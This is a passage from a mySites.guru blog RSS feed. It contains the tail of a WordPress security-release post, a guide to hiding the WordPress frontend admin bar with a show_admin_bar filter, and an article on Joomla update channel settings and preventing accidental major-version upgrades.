&lt;li&gt;&lt;a href=&quot;https://github.com/WordPress/wordpress-develop/commit/4b9c72ff0168cf8fdf002ef566b7cbbb6fec6797&quot;&gt;Fix commit in trunk&lt;/a&gt; - John Blackbourn&apos;s commit adding stringable object support to the template loader and block patterns registry&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/WordPress/wordpress-develop/commits/trunk/&quot;&gt;WordPress trunk commits&lt;/a&gt; - full commit history&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/Wordpress/comments/1rq4gva/comment/o9qsur3/&quot;&gt;Otto&apos;s Reddit comment&lt;/a&gt; - WordPress.org Tech Guy confirming 6.9.3 was coming shortly&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/Wordpress/comments/1rq4gva/wordpress_692_release_security_release_today/&quot;&gt;Reddit: r/Wordpress discussion&lt;/a&gt; - community discussion and reports from affected site owners&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Read our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete security guide&lt;/a&gt; for handling incidents like this at scale.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>updates</category><enclosure url="https://mysites.guru/_astro/wordpress-6-9-4-security-release.Phpb9jXy.png" length="0" type="image/png"/></item><item><title>How to Disable the WordPress Admin Menu Bar on the Frontend When Logged In</title><link>https://mysites.guru/blog/disable-wordpress-admin-bar-frontend/</link><guid isPermaLink="true">https://mysites.guru/blog/disable-wordpress-admin-bar-frontend/</guid><description>Remove the WordPress admin toolbar from your frontend with a per-user toggle, functions.php filter, or one click across all your sites. Code included.</description><pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why is the admin bar a problem?&lt;/h2&gt;
&lt;p&gt;Log into any WordPress site and visit the frontend. There it is: a black toolbar spanning the top of the page, offering links to the dashboard, the current page&apos;s edit screen, and whatever else WordPress and your plugins decide to put there.&lt;/p&gt;
&lt;p&gt;For a solo site admin, the toolbar is handy. For everyone else who&apos;s logged in (subscribers, customers, members, students) it&apos;s confusing clutter. On a WooCommerce store, a logged-in customer sees admin links they can&apos;t use. On a membership site, subscribers see a toolbar that has nothing to do with their experience. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;manage multiple WordPress sites&lt;/a&gt;, this becomes a recurring annoyance across your entire portfolio.&lt;/p&gt;
&lt;p&gt;And then there&apos;s the design problem. The admin bar adds 32 pixels of fixed positioning to the top of every page. Custom themes with fixed headers, sticky navigation, or precise spacing get pushed down. Fullscreen hero sections have a black bar on top that doesn&apos;t match the site&apos;s branding.&lt;/p&gt;
&lt;h2&gt;What are the three ways to disable the frontend admin bar?&lt;/h2&gt;
&lt;h3&gt;Per-user toggle&lt;/h3&gt;
&lt;p&gt;WordPress provides a per-user setting: go to Users → click a user → uncheck &quot;Show Toolbar when viewing site.&quot; This works for individual users but doesn&apos;t scale. You&apos;d need to edit every user profile, and new users get the toolbar enabled by default.&lt;/p&gt;
&lt;h3&gt;Theme functions filter&lt;/h3&gt;
&lt;p&gt;Add this to your theme&apos;s &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Disable admin bar for all non-administrators
add_filter(&apos;show_admin_bar&apos;, function () {
    return current_user_can(&apos;manage_options&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This keeps the bar for admins and hides it for everyone else. It&apos;s a code change that needs to be in your theme (or a custom plugin), and it needs to be replicated across every site. If you&apos;re already editing wp-config.php for other things, &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug constants&lt;/a&gt; covers the related configuration options.&lt;/p&gt;
&lt;h3&gt;Plugin approach&lt;/h3&gt;
&lt;p&gt;Several plugins exist to manage admin bar visibility by role. Each one is another dependency to maintain across your WordPress portfolio. You can also &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;block plugin installs entirely&lt;/a&gt; with a wp-config.php constant if you want to lock things down further.&lt;/p&gt;
&lt;h2&gt;Why is this challenging across multiple sites?&lt;/h2&gt;
&lt;p&gt;The frontend admin bar setting is easy to configure on one site but tedious across many. The first three approaches above all need to be applied individually:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Per-user toggles don&apos;t transfer between sites&lt;/li&gt;
&lt;li&gt;Theme function changes only apply to the theme they&apos;re in&lt;/li&gt;
&lt;li&gt;Plugins need installing and configuring on each site&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For agencies managing 20+ WordPress sites, each with its own theme and user base, keeping this consistent requires either meticulous documentation or a centralised management tool. We wrote more about this in &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;how to manage multiple WordPress sites like a pro&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru handle this?&lt;/h2&gt;
&lt;p&gt;mySites.guru&apos;s snapshot has a toggle for &quot;Disable the menu bar on the frontend when logged in.&quot; Flip it, and the admin bar is hidden for all logged-in users on that site. If you change your mind, you can toggle it back with one click.&lt;/p&gt;
&lt;p&gt;Under the hood, mySites.guru deploys a &lt;a href=&quot;https://developer.wordpress.org/advanced-administration/plugins/mu-plugins/&quot;&gt;must-use plugin&lt;/a&gt; with this filter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_filter(&apos;show_admin_bar&apos;, &apos;__return_false&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Must-use plugins load before regular plugins and can&apos;t be deactivated from the WordPress admin, so the setting sticks regardless of theme changes or plugin conflicts. You don&apos;t need to touch code or manage yet another plugin.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Instead of adding a filter to each theme or clicking through user profiles, you toggle it once per site from the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru dashboard&lt;/a&gt;. The tool page shows the current state of this setting across all your WordPress sites at a glance:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Snapshot monitoring tracks the setting going forward, so if a theme update or plugin re-enables it, you&apos;ll know.&lt;/p&gt;
&lt;p&gt;The same dashboard handles related settings like &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WP logo from the admin bar&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stopping automatic updates&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;monitoring plugin vulnerabilities&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What about removing the WordPress logo from the admin bar?&lt;/h2&gt;
&lt;p&gt;This is a different thing from hiding the bar entirely. The WordPress logo in the admin bar links to WordPress.org resources and visually identifies the CMS. On white-label client sites, you probably want it gone. mySites.guru has a &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;one-click toggle to remove the WP logo&lt;/a&gt; from both the frontend and backend toolbar.&lt;/p&gt;
&lt;h2&gt;When should you disable the frontend admin bar?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Disable for non-admins when:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Running a membership or e-commerce site where customers log in&lt;/li&gt;
&lt;li&gt;The theme&apos;s design conflicts with the 32px admin bar offset&lt;/li&gt;
&lt;li&gt;Clients are confused by admin links they can&apos;t use&lt;/li&gt;
&lt;li&gt;You want a clean, branded frontend experience&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Keep enabled when:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Only administrators log into the site&lt;/li&gt;
&lt;li&gt;Content editors need quick access to the &quot;Edit Page&quot; link from the frontend&lt;/li&gt;
&lt;li&gt;The site has few logged-in users and the convenience outweighs the clutter&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For most client sites managed by agencies, disabling the frontend admin bar for non-admin roles is the right default.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/functions/show_admin_bar/&quot;&gt;show_admin_bar() function reference&lt;/a&gt; -- Official WordPress developer docs for the function that controls admin bar visibility.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/hooks/show_admin_bar/&quot;&gt;show_admin_bar filter hook&lt;/a&gt; -- The recommended way to hide the admin bar, documented with usage examples.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/functions/is_admin_bar_showing/&quot;&gt;is_admin_bar_showing() function reference&lt;/a&gt; -- Check whether the admin bar is currently displayed; useful for conditional logic in themes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/apis/hooks/&quot;&gt;WordPress Hooks API&lt;/a&gt; -- How actions and filters work in WordPress, for context on the show_admin_bar filter approach.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>admin bar</category><category>frontend</category><category>customization</category><enclosure url="https://mysites.guru/_astro/disable-wordpress-admin-bar-frontend.BjNbRfm5.png" length="0" type="image/png"/></item><item><title>How to Prevent Accidental Joomla Version Jumps with Update Channel Management</title><link>https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/</guid><description>One wrong Joomla update channel setting can jump your site from Joomla 4 to 5 or 5 to 6. Here is how mySites.guru detects and prevents this.</description><pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; Joomla&apos;s update channel setting controls which versions your site is offered. If it&apos;s set to &quot;Joomla Next&quot; instead of &quot;Default&quot;, a routine update check can offer a major version jump - from Joomla 4 to 5, or from 5 to 6. mySites.guru flags this misconfiguration on every connected site and lets you fix it remotely in one click.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One wrong setting in the Joomla Update component is all it takes to accidentally upgrade a production Joomla 4 site to Joomla 5, or a Joomla 5 site to Joomla 6. The setting is called the &lt;strong&gt;update channel&lt;/strong&gt; (internally called &lt;code&gt;updatesource&lt;/code&gt;), and it determines which versions Joomla considers available when you hit &quot;Check for Updates&quot; in the admin panel.&lt;/p&gt;
&lt;p&gt;Most Joomla administrators never think about this setting because it ships on &quot;Default&quot; out of the box. But it only takes one change (during a test, by a team member who didn&apos;t know what it did, or after following a tutorial that forgot to mention switching it back) and suddenly your next routine update isn&apos;t a minor patch. It&apos;s a full major version jump.&lt;/p&gt;
&lt;h2&gt;What is a Joomla update channel?&lt;/h2&gt;
&lt;p&gt;The update channel is a configuration option inside the &lt;strong&gt;Joomla Update component&lt;/strong&gt; (Components &amp;gt; Joomla Update &amp;gt; Options in the Joomla admin panel). It tells Joomla which update server to check and, critically, which version series to consider as available updates.&lt;/p&gt;
&lt;p&gt;Joomla&apos;s update system works by fetching an XML file from an update server URL. The update channel setting determines &lt;em&gt;which&lt;/em&gt; XML file gets fetched, and each file points to a different set of available versions.&lt;/p&gt;
&lt;p&gt;The channels you&apos;ll encounter:&lt;/p&gt;
&lt;h3&gt;Default&lt;/h3&gt;
&lt;p&gt;This is what every production site should use. The Default channel only offers updates within your current major version series. If you&apos;re running Joomla 5.2.3, the Default channel will offer 5.2.4, 5.3.0, and so on - but it will never offer Joomla 6.0.0.&lt;/p&gt;
&lt;p&gt;The Default channel is the safe choice because it keeps your site on the version series you intentionally installed and tested against.&lt;/p&gt;
&lt;h3&gt;Joomla Next&lt;/h3&gt;
&lt;p&gt;This is the channel that causes problems. The Joomla Next channel includes the next major version series in the available updates. If you&apos;re on Joomla 5 and Joomla 6 has been released, the Joomla Next channel will show Joomla 6 as an available update.&lt;/p&gt;
&lt;p&gt;The Joomla Next channel exists for a legitimate purpose: when you&apos;ve done your compatibility testing, confirmed your extensions and templates work with the new version, and are ready to intentionally upgrade to the next major version. The problem is that once enabled, it stays enabled. People switch to it, upgrade one site, and then forget to switch it back. Or they switch it on a test site and accidentally leave it on a production site.&lt;/p&gt;
&lt;h3&gt;Testing&lt;/h3&gt;
&lt;p&gt;The Testing channel gives access to pre-release builds: alphas, betas, and release candidates. These are builds published by the Joomla project for community testing before a stable release.&lt;/p&gt;
&lt;p&gt;This channel should only ever be used on dedicated test environments. Pre-release builds can have bugs, incomplete features, and database schema changes that aren&apos;t finalised. Installing a testing build on a production site is asking for trouble, and there&apos;s often no clean upgrade path from a beta to the final stable release.&lt;/p&gt;
&lt;h3&gt;STS and LTS (legacy)&lt;/h3&gt;
&lt;p&gt;Older Joomla versions (particularly the Joomla 3 era) used &lt;strong&gt;Short Term Support (STS)&lt;/strong&gt; and &lt;strong&gt;Long Term Support (LTS)&lt;/strong&gt; channels. These distinguished between feature releases and long-term maintenance releases within the same major version.&lt;/p&gt;
&lt;p&gt;In modern Joomla (versions 4, 5, and 6), the STS and LTS distinction no longer applies in the same way. You may still see these values in some site configurations, particularly on sites that were migrated from Joomla 3 and never had the setting cleaned up. For practical purposes, they behave like the Default channel, but it&apos;s still best practice to explicitly set the channel to Default to avoid any ambiguity.&lt;/p&gt;
&lt;h2&gt;Why are wrong Joomla update channels dangerous?&lt;/h2&gt;
&lt;p&gt;A misconfigured update channel doesn&apos;t break anything immediately. Your site keeps running fine. The danger only shows itself when someone checks for updates and accepts what Joomla offers.&lt;/p&gt;
&lt;h3&gt;The accidental major version jump&lt;/h3&gt;
&lt;p&gt;The scenario plays out regularly across the Joomla community:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A site administrator sets the update channel to &quot;Joomla Next&quot; to upgrade one of their sites from Joomla 4 to Joomla 5&lt;/li&gt;
&lt;li&gt;The upgrade goes fine, the site is now on Joomla 5&lt;/li&gt;
&lt;li&gt;The administrator forgets to switch the channel back to &quot;Default&quot;&lt;/li&gt;
&lt;li&gt;Months later, Joomla 6 is released&lt;/li&gt;
&lt;li&gt;The admin panel shows &quot;An update is available&quot; - looks like a routine update&lt;/li&gt;
&lt;li&gt;The administrator (or a junior team member) clicks Update&lt;/li&gt;
&lt;li&gt;The site is now on Joomla 6, which was never tested, and extensions start breaking&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is not a hypothetical scenario. It happens after every major Joomla release. The Joomla forums fill up with posts from administrators who accidentally jumped to a new major version and now have broken sites. With Joomla 6 released in October 2025 - and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1 now out&lt;/a&gt; - this is happening right now to Joomla 5 sites that still have the Joomla Next channel enabled from when they upgraded from Joomla 4.&lt;/p&gt;
&lt;h3&gt;There is no rollback&lt;/h3&gt;
&lt;p&gt;When you upgrade from Joomla 5 to Joomla 6, the database schema changes. Tables are altered, columns are added or removed, and data is migrated.&lt;/p&gt;
&lt;p&gt;You cannot simply downgrade the files back to Joomla 5 because the database no longer matches the Joomla 5 schema. The only recovery path is restoring a full backup - files and database together - from before the upgrade happened.&lt;/p&gt;
&lt;p&gt;If you don&apos;t have a recent backup, or if your &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup schedule&lt;/a&gt; hasn&apos;t run since the last content changes, you&apos;re looking at data loss on top of the version mess.&lt;/p&gt;
&lt;h3&gt;Extension and template incompatibility&lt;/h3&gt;
&lt;p&gt;Major Joomla version upgrades routinely break third-party extensions and templates. Extension developers need time to update their code for new APIs, deprecated features, and changed behaviour in a new major version.&lt;/p&gt;
&lt;p&gt;When you intentionally plan a major version upgrade, you check each extension&apos;s compatibility first. You review the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5 requirements&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 requirements&lt;/a&gt; to make sure your server meets the minimums. You test on a staging site. You have a plan.&lt;/p&gt;
&lt;p&gt;When the upgrade happens accidentally, none of that preparation has been done. Extensions that haven&apos;t been updated for the new version will throw errors, produce white screens, or silently malfunction. Templates may break entirely, leaving your site looking nothing like it should.&lt;/p&gt;
&lt;h3&gt;The problem multiplies across a portfolio&lt;/h3&gt;
&lt;p&gt;For anyone managing multiple Joomla sites, the risk compounds quickly. If you set one site to the Joomla Next channel and then used a configuration template or copied settings across sites, you could have dozens or hundreds of sites with the wrong channel. A &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass upgrade from one dashboard&lt;/a&gt; becomes a mass problem if the update channel is wrong on the sites being upgraded.&lt;/p&gt;
&lt;p&gt;The sites look fine, the update channel is buried in a component options page that nobody routinely checks, and the actual failure only happens when an update is offered and accepted.&lt;/p&gt;
&lt;h2&gt;How to check your update channel in Joomla&lt;/h2&gt;
&lt;p&gt;If you&apos;re managing sites individually, here&apos;s how to verify the update channel on each one:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to the Joomla administrator panel&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Components &amp;gt; Joomla Update&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click the &lt;strong&gt;Options&lt;/strong&gt; button in the toolbar (top right)&lt;/li&gt;
&lt;li&gt;Look at the &lt;strong&gt;Update Channel&lt;/strong&gt; dropdown&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If it says &quot;Default&quot;, you&apos;re fine. If it says anything else - particularly &quot;Joomla Next&quot; - change it back to Default and save.&lt;/p&gt;
&lt;p&gt;The problem with doing this manually is obvious: you have to log into every single site, navigate to the same page, check the same dropdown, and remember to do this periodically. For anyone with more than a handful of sites, this doesn&apos;t scale.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru monitor Joomla update channels?&lt;/h2&gt;
&lt;p&gt;mySites.guru tracks the update channel setting for every connected Joomla site automatically.&lt;/p&gt;
&lt;h3&gt;Snapshot monitoring&lt;/h3&gt;
&lt;p&gt;Every time mySites.guru runs a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot of your sites&lt;/a&gt;, it reads the &lt;code&gt;updatesource&lt;/code&gt; parameter from the Joomla Update component configuration. This value is stored and displayed in the dashboard alongside your site&apos;s Joomla version, PHP version, and database details.&lt;/p&gt;
&lt;p&gt;On the Joomla 5 and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 compatibility&lt;/a&gt; checker pages, the update channel column shows a &lt;strong&gt;green badge with a checkmark&lt;/strong&gt; when the channel is set to Default, and a &lt;strong&gt;red badge with an X&lt;/strong&gt; when it&apos;s set to anything else. You can see at a glance which of your sites have a misconfigured update channel without logging into any of them.&lt;/p&gt;
&lt;h3&gt;Best practice audit&lt;/h3&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice audit&lt;/a&gt; includes a dedicated check for the update channel. The audit tool - titled &quot;Use Default Update Channel on Live Sites to prevent accidental series jump&quot; - evaluates every connected Joomla site and flags any site where the channel is not set to Default.&lt;/p&gt;
&lt;p&gt;This runs automatically with each snapshot, so even if someone changes the update channel on a site between your manual checks, mySites.guru will catch it on the next scan. The check also tracks trend data: if a site&apos;s channel changes from Default to something else (or vice versa), the dashboard highlights the change so you can investigate.&lt;/p&gt;
&lt;h3&gt;Remote fix&lt;/h3&gt;
&lt;p&gt;When mySites.guru detects a site with the wrong update channel, you don&apos;t have to log into that site to fix it. The dashboard provides a toggle that remotely sets the update channel back to Default. For a single site, it&apos;s one click. For multiple sites, you can view all affected sites filtered by this specific issue and work through them.&lt;/p&gt;
&lt;p&gt;This means you can fix a misconfigured channel in seconds from your dashboard instead of discovering it after the damage is done.&lt;/p&gt;
&lt;h3&gt;Forced Default during upgrades&lt;/h3&gt;
&lt;p&gt;When you use mySites.guru to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;upgrade Joomla core&lt;/a&gt;, the upgrade process &lt;strong&gt;forces the update source to Default&lt;/strong&gt; before applying the update, regardless of what the site&apos;s local setting is. Even if a site is set to Joomla Next, mySites.guru overrides this to prevent the upgrade from jumping to a different major version series.&lt;/p&gt;
&lt;p&gt;This means that when you do a &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk upgrade across hundreds of sites&lt;/a&gt;, you know that every site will get the latest minor/patch release for its current major version - not an unexpected jump to a new series. This is a deliberate safety mechanism built into the upgrade connector for Joomla 3, 4, 5, and 6.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;&lt;strong&gt;Key point:&lt;/strong&gt; Even if a site has the wrong update channel, mySites.guru forces the channel to Default before performing any core upgrade. This prevents accidental series jumps regardless of the local configuration. You can still intentionally upgrade major versions through the dedicated migration tools.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;When should you use the Joomla Next channel?&lt;/h2&gt;
&lt;p&gt;The Joomla Next channel exists for good reasons, and there are legitimate times to use it:&lt;/p&gt;
&lt;p&gt;For intentional major version upgrades: when you&apos;ve verified your &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;server meets the requirements&lt;/a&gt;, confirmed your extensions are compatible, tested on a staging site, and taken a full backup, switching to the Joomla Next channel is the right way to perform the upgrade.&lt;/p&gt;
&lt;p&gt;For dedicated migration projects: if you&apos;re working through a batch of &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;Joomla 4 to Joomla 5 migrations&lt;/a&gt;, or Joomla 5 to Joomla 6, you&apos;ll use the Joomla Next channel on each site during the upgrade window.&lt;/p&gt;
&lt;p&gt;Either way: &lt;strong&gt;switch back to Default the moment the upgrade is done.&lt;/strong&gt; Don&apos;t leave it for later. Don&apos;t assume you&apos;ll remember. Set it back to Default as the final step of every major version upgrade.&lt;/p&gt;
&lt;h2&gt;How does the Joomla update channel affect end-of-life versions?&lt;/h2&gt;
&lt;p&gt;Update channels become even more relevant when a Joomla version reaches &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end of life&lt;/a&gt;. When Joomla 4 reached its end-of-life date, sites still running Joomla 4 stopped receiving security updates through the Default channel. Some administrators then switched to the Joomla Next channel thinking it would give them &quot;the latest updates&quot; without realising it would offer Joomla 5 as the update.&lt;/p&gt;
&lt;p&gt;This creates a dangerous situation: an administrator trying to get security patches for an EOL version inadvertently triggers a major version upgrade. The site jumps to Joomla 5, extensions break, and the administrator is worse off than before.&lt;/p&gt;
&lt;p&gt;The correct approach for &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end-of-life Joomla versions&lt;/a&gt; is to plan a proper migration, not to change the update channel hoping for patches. mySites.guru clearly flags sites running end-of-life versions and tracks the update channel separately, so you always know which sites need migration attention and which are safely configured.&lt;/p&gt;
&lt;h2&gt;What are the common mistakes with Joomla update channels?&lt;/h2&gt;
&lt;h3&gt;Copying configuration between sites&lt;/h3&gt;
&lt;p&gt;If you use a staging or template site to spin up new Joomla installations, check the update channel on that template. Whatever is set on the template gets inherited by every new site. If your template site was last used for a major version upgrade test and still has the Joomla Next channel enabled, every site you spin up from it will have the same misconfiguration.&lt;/p&gt;
&lt;h3&gt;Tutorials that don&apos;t mention switching back&lt;/h3&gt;
&lt;p&gt;Plenty of Joomla upgrade tutorials explain how to switch to the Joomla Next channel but don&apos;t mention switching back afterward. Some end at &quot;congratulations, your site is now on Joomla X&quot; without mentioning the update channel at all. If you followed a tutorial to upgrade one of your sites, go back and check the channel setting now.&lt;/p&gt;
&lt;h3&gt;Assuming &quot;it only affects the next update&quot;&lt;/h3&gt;
&lt;p&gt;Some administrators know their channel is set to Joomla Next but think it&apos;s fine because they&apos;ll &quot;just not click Update&quot; next time a major version appears. This is fragile. It relies on whoever checks for updates knowing the difference between a patch and a major version jump, and reading the version number carefully every single time. On a Monday morning with fifty sites to update, that&apos;s a bad bet.&lt;/p&gt;
&lt;h3&gt;Not auditing after team changes&lt;/h3&gt;
&lt;p&gt;When team members join or leave, their access to Joomla admin panels may change, but their past configuration changes remain. A developer who changed the update channel while testing something may have left the organisation months ago, and the setting sits there waiting. Automated monitoring catches this kind of configuration drift that manual reviews miss.&lt;/p&gt;
&lt;h2&gt;A practical Joomla update channel checklist&lt;/h2&gt;
&lt;p&gt;Whether you manage one Joomla site or a thousand, the same steps apply:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Audit all sites now.&lt;/strong&gt; Check the update channel on every Joomla site you manage. With mySites.guru, this is visible at a glance on the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5 compatibility&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 compatibility&lt;/a&gt; pages. Without it, you&apos;ll need to log into each site individually.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Set every production site to Default.&lt;/strong&gt; No exceptions. If a site is live and serving users, its update channel should be Default.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Only switch channels temporarily.&lt;/strong&gt; When you need the Joomla Next channel for a planned migration, enable it, perform the upgrade, and disable it immediately. Treat it like scaffolding: put it up, use it, take it down.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Monitor continuously.&lt;/strong&gt; A one-time audit isn&apos;t enough. Settings change, team members make adjustments, and tutorials give bad advice. Use automated &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot monitoring&lt;/a&gt; to catch changes as they happen.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Keep backups current.&lt;/strong&gt; Even with the right channel, things can go wrong. Make sure your &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup schedules&lt;/a&gt; are running and that you&apos;ve tested a restore at least once.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check automated core updates too.&lt;/strong&gt; Joomla 5.4+ and 6.0 introduced &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core upgrades&lt;/a&gt; that can apply patches without admin interaction. Even with the right update channel, a site with automated updates enabled can still update itself at an inconvenient time. Audit both settings together. The right channel also cannot protect you from a bad release: 5.4.7 and 6.1.2 both shipped a core regression that &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-2-5-4-7-article-options-ignored/&quot;&gt;makes Joomla ignore every Option set on an article&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Document your migration process.&lt;/strong&gt; Write down the steps for a major version upgrade, including the step where you switch the channel back to Default. Make it part of the procedure, not an afterthought.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Configuration management at scale&lt;/h2&gt;
&lt;p&gt;The update channel is one setting on one component in Joomla. But it&apos;s a good example of how a small misconfiguration can cause real damage when you&apos;re managing dozens or hundreds of sites.&lt;/p&gt;
&lt;p&gt;mySites.guru applies the same approach here as it does with &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;PHP version tracking&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end-of-life version monitoring&lt;/a&gt;: monitor automatically, flag deviations, and provide remote fixes.&lt;/p&gt;
&lt;p&gt;If you&apos;re managing multiple Joomla sites and haven&apos;t checked your update channels recently, start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; to see what mySites.guru finds across your connected sites.&lt;/p&gt;
&lt;div&gt;
  
  &lt;p&gt;&lt;strong&gt;Further reading:&lt;/strong&gt; &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;Joomla technical requirements&lt;/a&gt; - &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/&quot;&gt;Joomla getting started guide&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;hr /&gt;
&lt;p&gt;Read more about safe upgrade strategies in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;
